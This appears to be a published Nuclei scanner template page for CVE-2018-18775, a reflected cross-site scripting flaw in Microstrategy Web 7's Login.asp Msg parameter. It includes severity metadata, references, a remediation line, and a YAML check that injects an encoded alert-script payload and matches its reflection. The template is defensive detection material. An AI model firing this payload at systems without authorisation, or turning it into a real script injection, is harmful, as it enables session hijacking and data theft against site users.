Microstrategy Web 7 - Cross-Site Scripting

ID: CVE-2018-18775

Severity: medium

Author: 0x_Akoko

Tags: cve2018,cve,microstrategy,xss,edb,packetstorm,intrusive

Description

Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.

YAML Source

id: CVE-2018-18775

info:
  name: Microstrategy Web 7 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18775
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18775
    cwe-id: CWE-79
    epss-score: 0.00157
    epss-percentile: 0.51189
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve2018,cve,microstrategy,xss,edb,packetstorm,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(/{{randstr}}/);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022074e81d673c8233e06797e1479cf779935a533bccaa2d14cc48c519193b3d22a602206921a2670d2fe8b96bf5ef3f4906b0016f0a8f804608438360f55a908c7d1d01:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18775.yaml"

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